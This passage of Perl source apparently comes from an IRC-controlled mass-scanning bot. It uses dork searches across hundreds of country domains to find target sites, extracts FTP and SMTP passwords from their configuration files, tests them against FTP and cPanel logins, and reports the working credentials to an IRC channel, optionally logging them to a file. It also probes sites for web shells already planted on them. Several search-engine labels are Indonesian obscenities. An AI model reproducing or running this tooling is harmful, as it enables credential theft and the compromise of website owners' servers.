                    if($data =~/\$ftp_host\s?\=\s?['|"](.+)['|"]/i) {$ftphost = $1;}
                    if($data =~/\$ftp_root\s?\=\s?['|"](.+)['|"]/i) {$ftproot = $1;}
                    if($data =~/\$ftp_user\s?\=\s?['|"](.+)['|"]/i) { $ftpuser = $1;}
                    if($data =~/\$ftp_pass\s?\=\s?['|"](.+)['|"]/i) { $ftppass = $1;}
                    
                    if($ftpuser && $ftppass) {
                        my @ftp2 = &getConnect("ftp",$site,$ftpuser,$ftppass); 
                        if($ftp2[0] ne "false") {
                            &sendMsg(1,$id,$ftplogo,$logo,$engine,$chan,$nick, "3http://".$ftp2[0]." ".$art{"circ1"}."USER:14$ftp2[1]".$art{"circ2"}." ".$art{"circ1"}."PASS:14$ftp2[2]".$art{"circ2"});

                            if($logger) {
                                &createList("http://".$ftp2[0]."\nUSER:$ftp2[1] PASS:$ftp2[2]\n--------------------------------", "ftp.txt");
                            }
                        }
                    
                    }
                }
                
                #check smtp
                if($data =~ /\$(mosConfig_smtpuser|smtpuser|smtp_user)/ig || $data =~ /$(mosConfig_smtppass|smtppass|smtp_pass)/ig) {
                    my ($smtphost, $smtpport, $smtpuser, $smtppass);

                    if($data =~/\$(mosConfig_smtphost|smtphost|smtp_host)\s?\=\s?['|"](.+)['|"]/i) { $smtphost = $2;}
                    if($data =~/\$(mosConfig_smtpuser|smtpuser|smtp_user)\s?\=\s?['|"](.+)['|"]/i) { $smtpuser = $2;}
                    if($data =~/\$(mosConfig_smtppass|smtppass|smtp_pass)\s?\=\s?['|"](.+)['|"]/i) { $smtppass = $2;}
                    if($data =~/\$(smtpport|smtp_port)\s?\=\s?['|"](.+)['|"]/i) { $smtpport = $2;}

                    if($smtphost ne "" and $smtpuser ne "" and $smtppass ne "") {
                        my $vic  = &cleanUrl($site);
                        if($smtpport eq "") {
                            $smtpport = "-";
                        } 
                        &sendMsg(1,$id,$smtplogo,$logo,$engine,$chan,$nick, "3http://".$vic." ".$art{"circ1"}."HOST:14$smtphost".$art{"circ2"}." ".$art{"circ1"}."PORT:14$smtpport".$art{"circ2"}." ".$art{"circ1"}."USER:14$smtpuser".$art{"circ2"}." ".$art{"circ1"}."PASS:14$smtpuser".$art{"circ2"});
                    }
                }
                #end
            }
        }
    }
}
sub backdoorCheck {
    my ($site,@path) = @_;
    my @result = ("false");
    my ($url,$siteUrl);
    my $key = 0;

    foreach my $path(@path) {
        if($path =~ /\+/) {
            my @part = split(/\+/,$path);
            $url = "http://".$site.$part[0]."?".$part[1];
            $siteUrl = "http://".$site.$part[0];
        } else {
            $url = "http://".$site.$path;
            $siteUrl = "http://".$site.$path;
        }
        my $check  = &get_content($url);
        sleep(3);

        if($check =~ m/SAFE_MODE/ig or $check =~ m/Uname/ig or $check =~ /GIF89a/ig){
            my $safe = "";
            my $os   = ""; 
            if ($check =~ m/SAFE_MODE : (.*?)<\/b>/) { $safe = $1;}
            if ($check =~ m/Uname : (.*?)<\/b>/){ $os=$1;}
            if(lc($safe) eq "on") { $safe = "14ON";} else { $safe = "3OFF";};

            if($os ne ""){
                @result = ();
                @result = ($siteUrl, $os, $safe,$key);
                last;
            } 
        } else {
            if($check =~ m/Software/ig or $check =~ m/Freespace/ig) {
                if ($check =~ m/SAFE MODE : (.*?)<\/b><\/font>/) {$safe = $1;}
                if ($check =~ m/OS : (.*?)<br>/) {$os = $1;}
                if($safe =~ /ON/i) { $safe = "14ON";} else { $safe = "3OFF";};
                if($os ne ""){
                    @result = ();
                    @result = ($siteUrl, $os, $safe,$key);
                    last;
                } 
            }
        }
        $key++;
    }
    
    return @result;
}
sub getConnect {
    my ($tipe,$site,$user,$pass) = @_;
    my $url = &cleanUrl($site);
    
    my @result = ("false");
    my $usr = 0;
    
    if ($user =~ /_/) { 
        my @userz = split("_", $user); 
        $usr = $userz[0];
    }
    
    if($tipe eq "ftp") {
       my $ftp = "ftp://".$user.":".$pass."@".$url;
       my $fcek = &get_content($ftp);
       sleep(2);
       
       if($fcek =~ /ftp/i){
            @result = ();
            @result = ($url,$user,$pass);
        } else {
            my $ftp2 = &ftpConnect($url,$user,$pass);
            
            if($ftp2) {
                @result = ();
                @result = ($url,$user,$pass);
            } else {
                if($usr) {
                    my $ftp3  = "ftp://".$usr.":".$pass."@".$url;
                    my $fcek3 = &get_content($ftp3);

                    if($fcek3 =~ /ftp/i) {
                         @result = ();
                         @result = ($url,$usr,$pass);
                    } else {
                        my $ftp4 = &ftpConnect($url,$usr,$pass);
                        if($ftp4) {
                            @result = ();
                            @result = ($url,$user,$pass);
                        }
                    
                    }
                } 
            } 
        }
    }
    
    if($tipe eq "cpanel") {
        my $cp = &getCpanel($url, $user, $pass);
        
        if($cp) {
            @result = ();
            @result = ($url,$user,$pass);
        } else {
            if($usr) {
                my $cp2 = &getCpanel($url, $usr, $pass);
                if($cp2) {
                   @result = ();
                   @result = ($url,$usr,$pass);
                }
            }
        }
    }
    
    return @result;
}


#########################################################################################################
#                                       .SEARCH ENGINE SET.                                             #   
#########################################################################################################
sub search_engine {
    my (@total,@clean);
    my ($chan, $bug,$dork,$engine,$logo,$id) = @_;


     
    if ($engine eq "ae") { my @ae  = &coi($dork,"ae","0",1,10); push(@total,@ae); }
    if ($engine eq "by") { my @ae  = &coi($dork,"by","18",1,10); push(@total,@ae); }
    if ($engine eq "ar") { my @ar  = &coi($dork,"ar","1",1,10); push(@total,@ar); }
    if ($engine eq "at") { my @at  = &coi($dork,"at","2",1,10); push(@total,@at); }
    if ($engine eq "au") { my @au  = &coi($dork,"au","3",1,10); push(@total,@au); }
    if ($engine eq "br") { my @br  = &coi($dork,"br","4",1,10); push(@total,@br); }
    if ($engine eq "ca") { my @ca  = &coi($dork,"ca","5",1,10); push(@total,@ca); }
    if ($engine eq "cl") { my @cl  = &coi($dork,"cl","6",1,10); push(@total,@cl); }
    if ($engine eq "cn") { my @cn  = &coi($dork,"cn","7",1,10); push(@total,@cn); }
    if ($engine eq "cz") { my @cz  = &coi($dork,"cz","8",1,10); push(@total,@cz); }
    if ($engine eq "de") { my @de  = &coi($dork,"de","9",1,10); push(@total,@de); }
    if ($engine eq "dk") { my @dk  = &coi($dork,"dk","10",1,10); push(@total,@dk); }
    if ($engine eq "es") { my @es  = &coi($dork,"es","11",1,10); push(@total,@es); }
    if ($engine eq "eu") { my @eu  = &coi($dork,"eu","12",1,10); push(@total,@eu); }
    if ($engine eq "fr") { my @fr  = &coi($dork,"fr","13",1,10); push(@total,@fr); }
    if ($engine eq "hu") { my @hu  = &coi($dork,"hu","14",1,10); push(@total,@hu); }
    if ($engine eq "id") { my @id  = &coi($dork,"id","15",1,10); push(@total,@id); }
    if ($engine eq "il") { my @il  = &coi($dork,"il","16",1,10); push(@total,@il); }
    if ($engine eq "in") { my @in  = &coi($dork,"in","17",1,10); push(@total,@in); }
    if ($engine eq "it") { my @it  = &coi($dork,"it","18",1,10); push(@total,@it); }
    if ($engine eq "jp") { my @jp  = &coi($dork,"jp","19",1,10); push(@total,@jp); }
    if ($engine eq "kr") { my @kr  = &coi($dork,"kr","20",1,10); push(@total,@kr); }
    if ($engine eq "mx") { my @mx  = &coi($dork,"mx","21",1,10); push(@total,@mx); }
    if ($engine eq "my") { my @my  = &coi($dork,"my","22",1,10); push(@total,@my); }
    if ($engine eq "nl") { my @nl  = &coi($dork,"nl","23",1,10); push(@total,@nl); }
    if ($engine eq "ph") { my @ph  = &coi($dork,"ph","24",1,10); push(@total,@ph); }
    if ($engine eq "pl") { my @pl  = &coi($dork,"pl","25",1,10); push(@total,@pl); }
    if ($engine eq "ro") { my @ro  = &coi($dork,"ro","26",1,10); push(@total,@ro); }
    if ($engine eq "ru") { my @ru  = &coi($dork,"ru","27",1,10); push(@total,@ru); }
    if ($engine eq "th") { my @th  = &coi($dork,"th","28",1,10); push(@total,@th); }
    if ($engine eq "ua") { my @ua  = &coi($dork,"ua","29",1,10); push(@total,@ua); }
    if ($engine eq "uk") { my @uk  = &coi($dork,"uk","0",1,10); push(@total,@uk); }
    if ($engine eq "us") { my @us  = &coi($dork,"us","1",1,10); push(@total,@us); }
    if ($engine eq "si") { my @si  = &coi($dork,"si","2",1,10); push(@total,@si); }
    if ($engine eq "be") { my @be  = &coi($dork,"be","3",1,10); push(@total,@be); }
    if ($engine eq "tv") { my @tv  = &coi($dork,"tv","4",1,10); push(@total,@tv); }
    if ($engine eq "cc") { my @cc  = &coi($dork,"cc","5",1,10); push(@total,@cc); }
    if ($engine eq "as") { my @as  = &coi($dork,"as","6",1,10); push(@total,@as); }
    if ($engine eq "ai") { my @ai  = &coi($dork,"ai","7",1,10); push(@total,@ai); }
    if ($engine eq "ag") { my @ag  = &coi($dork,"ag","8",1,10); push(@total,@ag); }
    if ($engine eq "az") { my @az  = &coi($dork,"az","9",1,10); push(@total,@az); }
    if ($engine eq "bh") { my @bh  = &coi($dork,"bh","10",1,10); push(@total,@bh); }
    if ($engine eq "bd") { my @bd  = &coi($dork,"bd","11",1,10); push(@total,@bd); }
    if ($engine eq "bz") { my @bz  = &coi($dork,"bz","12",1,10); push(@total,@bz); }
    if ($engine eq "bo") { my @bo  = &coi($dork,"bo","13",1,10); push(@total,@bo); }
    if ($engine eq "ba") { my @ba  = &coi($dork,"ba","14",1,10); push(@total,@ba); }
    if ($engine eq "vg") { my @vg  = &coi($dork,"vg","15",1,10); push(@total,@vg); }
    if ($engine eq "bg") { my @bg  = &coi($dork,"bg","16",1,10); push(@total,@bg); }
    if ($engine eq "bi") { my @bi  = &coi($dork,"bi","17",1,10); push(@total,@bi); }
    if ($engine eq "co") { my @co  = &coi($dork,"co","18",1,10); push(@total,@co); }   
    if ($engine eq "cd") { my @cd  = &coi($dork,"cd","19",1,10); push(@total,@cd); }
    if ($engine eq "cg") { my @cg  = &coi($dork,"cg","20",1,10); push(@total,@cg); }
    if ($engine eq "ck") { my @ck  = &coi($dork,"ck","21",1,10); push(@total,@ck); }
    if ($engine eq "cr") { my @cr  = &coi($dork,"cr","22",1,10); push(@total,@cr); }
    if ($engine eq "hr") { my @hr  = &coi($dork,"hr","23",1,10); push(@total,@hr); }
    if ($engine eq "cu") { my @cu  = &coi($dork,"cu","24",1,10); push(@total,@cu); }
    if ($engine eq "ci") { my @ci  = &coi($dork,"ci","25",1,10); push(@total,@ci); }
    if ($engine eq "dj") { my @dj  = &coi($dork,"dj","26",1,10); push(@total,@dj); }
    if ($engine eq "dm") { my @dm  = &coi($dork,"dm","27",1,10); push(@total,@dm); }
    if ($engine eq "do") { my @do  = &coi($dork,"do","28",1,10); push(@total,@do); }
    if ($engine eq "ec") { my @ec  = &coi($dork,"ec","29",1,10); push(@total,@ec); }
    if ($engine eq "eg") { my @eg  = &coi($dork,"eg","0",1,10); push(@total,@eg); }
    if ($engine eq "sv") { my @sv  = &coi($dork,"sv","1",1,10); push(@total,@sv); }
    if ($engine eq "ee") { my @ee  = &coi($dork,"ee","2",1,10); push(@total,@ee); }
    if ($engine eq "et") { my @et  = &coi($dork,"et","3",1,10); push(@total,@et); }
    if ($engine eq "fj") { my @fj  = &coi($dork,"fj","4",1,10); push(@total,@fj); }
    if ($engine eq "fi") { my @fi  = &coi($dork,"fi","5",1,10); push(@total,@fi); }
    if ($engine eq "gm") { my @gm  = &coi($dork,"gm","6",1,10); push(@total,@gm); }
    if ($engine eq "gi") { my @gi  = &coi($dork,"gi","7",1,10); push(@total,@gi); }
    if ($engine eq "gr") { my @gr  = &coi($dork,"gr","8",1,10); push(@total,@gr); }
    if ($engine eq "gl") { my @gl  = &coi($dork,"gl","9",1,10); push(@total,@gl); }
    if ($engine eq "gt") { my @gt  = &coi($dork,"gt","10",1,10); push(@total,@gt); }
    if ($engine eq "gg") { my @gg  = &coi($dork,"gg","11",1,10); push(@total,@gg); }
    if ($engine eq "ht") { my @ht  = &coi($dork,"ht","12",1,10); push(@total,@ht); }
    if ($engine eq "hn") { my @hn  = &coi($dork,"hn","13",1,10); push(@total,@hn); }
    if ($engine eq "hk") { my @hk  = &coi($dork,"hk","14",1,10); push(@total,@hk); }
    if ($engine eq "is") { my @is  = &coi($dork,"is","15",1,10); push(@total,@is); }
    if ($engine eq "ie") { my @ie  = &coi($dork,"ie","16",1,10); push(@total,@ie); }
    if ($engine eq "im") { my @im  = &coi($dork,"im","17",1,10); push(@total,@im); }
    if ($engine eq "je") { my @je  = &coi($dork,"je","18",1,10); push(@total,@je); }
    if ($engine eq "jo") { my @jo  = &coi($dork,"jo","19",1,10); push(@total,@jo); }
    if ($engine eq "kz") { my @kz  = &coi($dork,"kz","20",1,10); push(@total,@kz); }
    if ($engine eq "ke") { my @ke  = &coi($dork,"ke","21",1,10); push(@total,@ke); }
    if ($engine eq "ir") { my @ir  = &coi($dork,"ir","22",1,10); push(@total,@ir); }
    if ($engine eq "vn") { my @vn  = &coi($dork,"vn","23",1,10); push(@total,@vn); }
    if ($engine eq "kg") { my @kg  = &coi($dork,"kg","24",1,10); push(@total,@kg); }
    if ($engine eq "lv") { my @lv  = &coi($dork,"lv","25",1,10); push(@total,@lv); }
    if ($engine eq "ls") { my @ls  = &coi($dork,"ls","26",1,10); push(@total,@ls); }
    if ($engine eq "ly") { my @ly  = &coi($dork,"ly","27",1,10); push(@total,@ly); }
    if ($engine eq "li") { my @li  = &coi($dork,"li","28",1,10); push(@total,@li); }
    if ($engine eq "lt") { my @lt  = &coi($dork,"lt","29",1,10); push(@total,@lt); }
    if ($engine eq "lu") { my @lu  = &coi($dork,"lu","0",1,10); push(@total,@lu); }
    if ($engine eq "mw") { my @mw  = &coi($dork,"mw","1",1,10); push(@total,@mw); }
    if ($engine eq "mt") { my @mt  = &coi($dork,"mt","2",1,10); push(@total,@mt); }
    if ($engine eq "mu") { my @mu  = &coi($dork,"mu","3",1,10); push(@total,@mu); }
    if ($engine eq "fm") { my @fm  = &coi($dork,"fm","4",1,10); push(@total,@fm); }
    if ($engine eq "mn") { my @mn  = &coi($dork,"mn","5",1,10); push(@total,@mn); }
    if ($engine eq "ms") { my @ms  = &coi($dork,"ms","6",1,10); push(@total,@ms); }
    if ($engine eq "ma") { my @ma  = &coi($dork,"ma","7",1,10); push(@total,@ma); }
    if ($engine eq "na") { my @na  = &coi($dork,"na","8",1,10); push(@total,@na); } 
    if ($engine eq "np") { my @np  = &coi($dork,"np","9",1,10); push(@total,@np); }
    if ($engine eq "nz") { my @nz  = &coi($dork,"nz","10",1,10); push(@total,@nz); }
    if ($engine eq "ni") { my @ni  = &coi($dork,"ni","11",1,10); push(@total,@ni); }
    if ($engine eq "nf") { my @nf  = &coi($dork,"nf","12",1,10); push(@total,@nf); }
    if ($engine eq "no") { my @no  = &coi($dork,"no","13",1,10); push(@total,@no); }
    if ($engine eq "om") { my @om  = &coi($dork,"om","14",1,10); push(@total,@om); }
    if ($engine eq "pk") { my @pk  = &coi($dork,"pk","15",1,10); push(@total,@pk); }
    if ($engine eq "pa") { my @pa  = &coi($dork,"pa","16",1,10); push(@total,@pa); }
    if ($engine eq "py") { my @py  = &coi($dork,"py","17",1,10); push(@total,@py); }
    if ($engine eq "pe") { my @pe  = &coi($dork,"pe","18",1,10); push(@total,@pe); }
    if ($engine eq "pn") { my @pn  = &coi($dork,"pn","19",1,10); push(@total,@pn); }
    if ($engine eq "pt") { my @pt  = &coi($dork,"pt","20",1,10); push(@total,@pt); }
    if ($engine eq "pr") { my @pr  = &coi($dork,"pr","21",1,10); push(@total,@pr); }
    if ($engine eq "qa") { my @qa  = &coi($dork,"qa","22",1,10); push(@total,@qa); }
    if ($engine eq "rw") { my @rw  = &coi($dork,"rw","23",1,10); push(@total,@rw); }
    if ($engine eq "sh") { my @sh  = &coi($dork,"sh","24",1,10); push(@total,@sh); }
    if ($engine eq "sm") { my @sm  = &coi($dork,"sm","25",1,10); push(@total,@sm); }
    if ($engine eq "sa") { my @sa  = &coi($dork,"sa","26",1,10); push(@total,@sa); }
    if ($engine eq "sn") { my @sn  = &coi($dork,"sn","27",1,10); push(@total,@sn); }
    if ($engine eq "sc") { my @sc  = &coi($dork,"sc","28",1,10); push(@total,@sc); }
    if ($engine eq "sg") { my @sg  = &coi($dork,"sg","29",1,10); push(@total,@sg); }
    if ($engine eq "sk") { my @sk  = &coi($dork,"sk","0",1,10); push(@total,@sk); }
    if ($engine eq "za") { my @za  = &coi($dork,"za","1",1,10); push(@total,@za); }
    if ($engine eq "lk") { my @lk  = &coi($dork,"lk","2",1,10); push(@total,@lk); }
    if ($engine eq "vc") { my @vc  = &coi($dork,"vc","3",1,10); push(@total,@vc); }
    if ($engine eq "se") { my @se  = &coi($dork,"se","4",1,10); push(@total,@se); }
    if ($engine eq "ch") { my @ch  = &coi($dork,"ch","5",1,10); push(@total,@ch); }
    if ($engine eq "tw") { my @tw  = &coi($dork,"tw","6",1,10); push(@total,@tw); }
    if ($engine eq "tj") { my @tj  = &coi($dork,"tj","7",1,10); push(@total,@tj); }
    if ($engine eq "bs") { my @bs  = &coi($dork,"bs","8",1,10); push(@total,@bs); }
    if ($engine eq "to") { my @to  = &coi($dork,"to","9",1,10); push(@total,@to); }
    if ($engine eq "tt") { my @tt  = &coi($dork,"tt","10",1,10); push(@total,@tt); }
    if ($engine eq "tr") { my @tr  = &coi($dork,"tr","11",1,10); push(@total,@tr); }
    if ($engine eq "tm") { my @tm  = &coi($dork,"tm","12",1,10); push(@total,@tm); }
    if ($engine eq "vi") { my @vi  = &coi($dork,"vi","13",1,10); push(@total,@vi); }
    if ($engine eq "ug") { my @ug  = &coi($dork,"ug","14",1,10); push(@total,@ug); }
    if ($engine eq "uy") { my @uy  = &coi($dork,"uy","15",1,10); push(@total,@uy); }
    if ($engine eq "uz") { my @uz  = &coi($dork,"uz","16",1,10); push(@total,@uz); }
    if ($engine eq "ve") { my @ve  = &coi($dork,"ve","17",1,10); push(@total,@ve); }
    if ($engine eq "vm") { my @vm  = &coi($dork,"vm","18",1,10); push(@total,@vm); }
    if ($engine eq "zm") { my @zm  = &coi($dork,"zm","19",1,10); push(@total,@zm); }
    if ($engine eq "ws") { my @ws  = &coi($dork,"ws","20",1,10); push(@total,@ws); }
    if ($engine eq "af") { my @af  = &coi($dork,"af","21",1,10); push(@total,@af); }
    if ($engine eq "ax") { my @ax  = &coi($dork,"ax","22",1,10); push(@total,@ax); }
    if ($engine eq "al") { my @al  = &coi($dork,"al","23",1,10); push(@total,@al); }
    if ($engine eq "dz") { my @dz  = &coi($dork,"dz","24",1,10); push(@total,@dz); }
    if ($engine eq "ao") { my @ao  = &coi($dork,"ao","25",1,10); push(@total,@ao); }
    if ($engine eq "aq") { my @aq  = &coi($dork,"aq","26",1,10); push(@total,@aq); }
    if ($engine eq "am") { my @am  = &coi($dork,"am","27",1,10); push(@total,@am); }
    if ($engine eq "aw") { my @aw  = &coi($dork,"aw","28",1,10); push(@total,@aw); } 
    if ($engine eq "ac") { my @ac  = &coi($dork,"ac","29",1,10); push(@total,@ac); }
    if ($engine eq "bj") { my @bj  = &coi($dork,"bj","0",1,10); push(@total,@bj); }
    if ($engine eq "bm") { my @bm  = &coi($dork,"bm","1",1,10); push(@total,@bm); }
    if ($engine eq "bt") { my @bt  = &coi($dork,"bt","2",1,10); push(@total,@bt); }
    if ($engine eq "bw") { my @bw  = &coi($dork,"bw","3",1,10); push(@total,@bw); }
    if ($engine eq "io") { my @io  = &coi($dork,"io","4",1,10); push(@total,@io); }
    if ($engine eq "bn") { my @bn  = &coi($dork,"bn","5",1,10); push(@total,@bn); }
    if ($engine eq "bf") { my @bf  = &coi($dork,"bf","6",1,10); push(@total,@bf); }
    if ($engine eq "kh") { my @kh  = &coi($dork,"kh","7",1,10); push(@total,@kh); }
    if ($engine eq "cm") { my @cm  = &coi($dork,"cm","8",1,10); push(@total,@cm); }
    if ($engine eq "cv") { my @cv  = &coi($dork,"cv","9",1,10); push(@total,@cv); }
    if ($engine eq "ky") { my @ky  = &coi($dork,"ky","10",1,10); push(@total,@ky); }
    if ($engine eq "cf") { my @cf  = &coi($dork,"cf","11",1,10); push(@total,@cf); }
    if ($engine eq "cx") { my @cx  = &coi($dork,"cx","12",1,10); push(@total,@cx); }
    if ($engine eq "cw") { my @cw  = &coi($dork,"cw","13",1,10); push(@total,@cw); }
    if ($engine eq "cy") { my @cy  = &coi($dork,"cy","14",1,10); push(@total,@cy); }
    if ($engine eq "fk") { my @fk  = &coi($dork,"fk","15",1,10); push(@total,@fk); }
    if ($engine eq "fo") { my @fo  = &coi($dork,"fo","16",1,10); push(@total,@fo); }
    if ($engine eq "gh") { my @gh  = &coi($dork,"gh","17",1,10); push(@total,@gh); }
    if ($engine eq "gd") { my @gd  = &coi($dork,"gd","18",1,10); push(@total,@gd); }
    if ($engine eq "gp") { my @gp  = &coi($dork,"gp","19",1,10); push(@total,@gp); }
    if ($engine eq "gu") { my @gu  = &coi($dork,"gu","20",1,10); push(@total,@gu); }
    if ($engine eq "gn") { my @gn  = &coi($dork,"gn","21",1,10); push(@total,@gn); }
    if ($engine eq "gy") { my @gy  = &coi($dork,"gy","22",1,10); push(@total,@gy); }
    if ($engine eq "hm") { my @hm  = &coi($dork,"hm","23",1,10); push(@total,@hm); }
    if ($engine eq "iq") { my @iq  = &coi($dork,"iq","24",1,10); push(@total,@iq); }
    if ($engine eq "jm") { my @jm  = &coi($dork,"jm","25",1,10); push(@total,@jm); }
    if ($engine eq "ki") { my @ki  = &coi($dork,"ki","26",1,10); push(@total,@ki); }
    if ($engine eq "kw") { my @kw  = &coi($dork,"kw","27",1,10); push(@total,@kw); }
    if ($engine eq "la") { my @la  = &coi($dork,"la","28",1,10); push(@total,@la); }
    if ($engine eq "lb") { my @lb  = &coi($dork,"lb","29",1,10); push(@total,@lb); }
    if ($engine eq "lr") { my @lr  = &coi($dork,"lr","0",1,10); push(@total,@lr); }
    if ($engine eq "mo") { my @mo  = &coi($dork,"mo","1",1,10); push(@total,@mo); }
    if ($engine eq "mg") { my @mg  = &coi($dork,"mg","2",1,10); push(@total,@mg); }
    if ($engine eq "mv") { my @mv  = &coi($dork,"mv","3",1,10); push(@total,@mv); }
    if ($engine eq "mp") { my @mp  = &coi($dork,"mp","4",1,10); push(@total,@mp); }
    if ($engine eq "mq") { my @mq  = &coi($dork,"mq","5",1,10); push(@total,@mq); }
    if ($engine eq "mr") { my @mr  = &coi($dork,"mr","6",1,10); push(@total,@mr); }
    if ($engine eq "yt") { my @yt  = &coi($dork,"yt","7",1,10); push(@total,@yt); }
    if ($engine eq "md") { my @md  = &coi($dork,"md","8",1,10); push(@total,@md); }
    if ($engine eq "mc") { my @mc  = &coi($dork,"mc","9",1,10); push(@total,@mc); }
    if ($engine eq "me") { my @me  = &coi($dork,"me","10",1,7); push(@total,@me); }
    if ($engine eq "mz") { my @mz  = &coi($dork,"mz","11",1,7); push(@total,@mz); }
    if ($engine eq "nr") { my @nr  = &coi($dork,"nr","12",1,7); push(@total,@nr); }
    if ($engine eq "nc") { my @nc  = &coi($dork,"nc","13",1,7); push(@total,@nc); }
    if ($engine eq "ng") { my @ng  = &coi($dork,"ng","14",1,7); push(@total,@ng); }
    if ($engine eq "nu") { my @nu  = &coi($dork,"nu","15",1,7); push(@total,@nu); }
    if ($engine eq "pw") { my @pw  = &coi($dork,"pw","16",1,7); push(@total,@pw); }
    if ($engine eq "ps") { my @ps  = &coi($dork,"ps","17",1,7); push(@total,@ps); }
    if ($engine eq "cq") { my @cq  = &coi($dork,"cq","18",1,7); push(@total,@cq); }   
    if ($engine eq "re") { my @re  = &coi($dork,"re","19",1,7); push(@total,@re); }
    if ($engine eq "lc") { my @lc  = &coi($dork,"lc","20",1,7); push(@total,@lc); }
    if ($engine eq "pm") { my @pm  = &coi($dork,"pm","21",1,7); push(@total,@pm); }
    if ($engine eq "st") { my @st  = &coi($dork,"st","22",1,7); push(@total,@st); }
    if ($engine eq "rs") { my @rs  = &coi($dork,"rs","23",1,7); push(@total,@rs); }
    if ($engine eq "gs") { my @gs  = &coi($dork,"gs","24",1,7); push(@total,@gs); }
    if ($engine eq "sl") { my @sl  = &coi($dork,"sl","25",1,7); push(@total,@sl); }
    if ($engine eq "sx") { my @sx  = &coi($dork,"sx","26",1,7); push(@total,@sx); }
    if ($engine eq "sb") { my @sb  = &coi($dork,"sb","27",1,7); push(@total,@sb); }
    if ($engine eq "so") { my @so  = &coi($dork,"so","28",1,7); push(@total,@so); }
    if ($engine eq "su") { my @su  = &coi($dork,"su","29",1,7); push(@total,@su); }
    if ($engine eq "kn") { my @kn  = &coi($dork,"kn","0",1,8); push(@total,@kn); }
    if ($engine eq "sr") { my @sr  = &coi($dork,"sr","1",1,8); push(@total,@sr); }
    if ($engine eq "tz") { my @tz  = &coi($dork,"tz","2",1,8); push(@total,@tz); }
    if ($engine eq "tl") { my @tl  = &coi($dork,"tl","3",1,8); push(@total,@tl); }
    if ($engine eq "tg") { my @tg  = &coi($dork,"tg","4",1,8); push(@total,@tg); }
    if ($engine eq "tk") { my @tk  = &coi($dork,"tk","5",1,8); push(@total,@tk); }
    if ($engine eq "tn") { my @tn  = &coi($dork,"tn","6",1,8); push(@total,@tn); }
    if ($engine eq "tc") { my @tc  = &coi($dork,"tc","7",1,8); push(@total,@tc); }
    if ($engine eq "vu") { my @vu  = &coi($dork,"vu","8",1,8); push(@total,@vu); }
    if ($engine eq "wf") { my @wf  = &coi($dork,"wf","9",1,8); push(@total,@wf); }
    if ($engine eq "ye") { my @ye  = &coi($dork,"ye","10",1,5); push(@total,@ye); }
    if ($engine eq "zw") { my @zw  = &coi($dork,"zw","11",1,5); push(@total,@zw); } 
    if ($engine eq "com") { my @com  = &coi($dork,"com","12",1,20); push(@total,@com); }
    if ($engine eq "net") { my @net  = &coi($dork,"net","13",1,20); push(@total,@net); }
    if ($engine eq "org") { my @org  = &coi($dork,"org","14",1,20); push(@total,@org); }
    if ($engine eq "biz") { my @biz  = &coi($dork,"biz","15",1,20); push(@total,@biz); }
    if ($engine eq "xxx") { my @xxx  = &coi($dork,"xxx","16",1,20); push(@total,@xxx); }
    if ($engine eq "tel") { my @tel  = &coi($dork,"tel","17",1,20); push(@total,@tel); }
    if ($engine eq "mil") { my @mil  = &coi($dork,"mil","18",1,20); push(@total,@mil); }
    if ($engine eq "pro") { my @pro  = &coi($dork,"pro","19",1,20); push(@total,@pro); }
    if ($engine eq "edu") { my @edu  = &coi($dork,"edu","20",1,20); push(@total,@edu); }
    if ($engine eq "gov") { my @gov  = &coi($dork,"gov","21",1,20); push(@total,@gov); }
    if ($engine eq "cat") { my @cat  = &coi($dork,"cat","22",1,20); push(@total,@cat); } 
    if ($engine eq "info") { my @info  = &coi($dork,"info","23",1,10); push(@total,@info); }
    if ($engine eq "asia") { my @asia  = &coi($dork,"asia","24",1,10); push(@total,@asia); }
    if ($engine eq "name") { my @name  = &coi($dork,"name","25",1,10); push(@total,@name); }
    if ($engine eq "jobs") { my @jobs  = &coi($dork,"jobs","26",1,10); push(@total,@jobs); }
    if ($engine eq "mobi") { my @mobi  = &coi($dork,"mobi","27",1,10); push(@total,@mobi); }
    if ($engine eq "aero") { my @aero  = &coi($dork,"aero","28",1,10); push(@total,@aero); }
    if ($engine eq "coop") { my @coop  = &coi($dork,"coop","29",1,10); push(@total,@coop); }
    if ($engine eq "travel") { my @travel  = &coi($dork,"travel", "0",1,5); push(@total,@travel); }
    
    if ($engine eq "WaLLa") { my @walla = &walla($dork,$chan); push(@total,@walla); }
    if ($engine eq "UoL") { my @uol = &uol($dork); push(@total,@uol); }
    if ($engine eq "OnEt") { my @onet = &onet($dork); push(@total,@onet); }
    if ($engine eq "HotBot") { my @hotbot = &hotbot($dork); push(@total,@hotbot); }
    if ($engine eq "SeZNam") { my @seznam = &seznam($dork); push(@total,@seznam); }
    if ($engine eq "BigLobe") { my @biglobe = &biglobe($dork); push(@total,@biglobe); }	
    if ($engine eq "searchnz") { my @searchnz = &searchnz($dork); push(@total,@searchnz); }
    if ($engine eq "Dogpile") { my @dogpile = &dogpile($dork); push(@total,@dogpile); }
	 if ($engine eq "KonToL") { my @kontol = kontol($dork); push(@total,@kontol); }
    if ($engine eq "PePek") { my @pepek = pepek($dork); push(@total,@pepek); }
    if ($engine eq "TeTek") { my @tetek = tetek($dork); push(@total,@tetek); }
    if ($engine eq "ItiL") { my @itil = itil($dork); push(@total,@itil); }
    if ($engine eq "NenNen") { my @nennen = nennen($dork); push(@total,@nennen); }
    if ($engine eq "SuSu") { my @susu = susu($dork); push(@total,@susu); }
    if ($engine eq "BuahDada") { my @buahdada = buahdada($dork); push(@total,@buahdada); }
    if ($engine eq "PayuDara") { my @payudara = payudara($dork); push(@total,@payudara); }
    if ($engine eq "Kentot") { my @kentot = kentot($dork); push(@total,@kentot); }
    if ($engine eq "eMeL") { my @emel = emel($dork); push(@total,@emel); }
    if ($engine eq "OraL") { my @oral = oral($dork); push(@total,@oral); }
    if ($engine eq "Klitoris") { my @klitoris = klitoris($dork); push(@total,@klitoris); }
    if ($engine eq "Masturbasi") { my @masturbasi = masturbasi($dork); push(@total,@masturbasi); }
    if ($engine eq "Onani") { my @onani = onani($dork); push(@total,@onani); }
    if ($engine eq "Sperma") { my @sperma = sperma($dork); push(@total,@sperma); }
    if ($engine eq "AnaL") { my @anal = anal($dork); push(@total,@anal); }
    if ($engine eq "Puting") { my @puting = puting($dork); push(@total,@puting); }
    if ($engine eq "Vagina") { my @vagina = vagina($dork); push(@total,@vagina); }
    if ($engine eq "Penis") { my @penis = penis($dork); push(@total,@penis); }
    if ($engine eq "MeMek") { my @memek = memek($dork); push(@total,@memek); }
    # if ($engine eq "GooGLe") { my @google = &google($dork); push(@total,@google); }
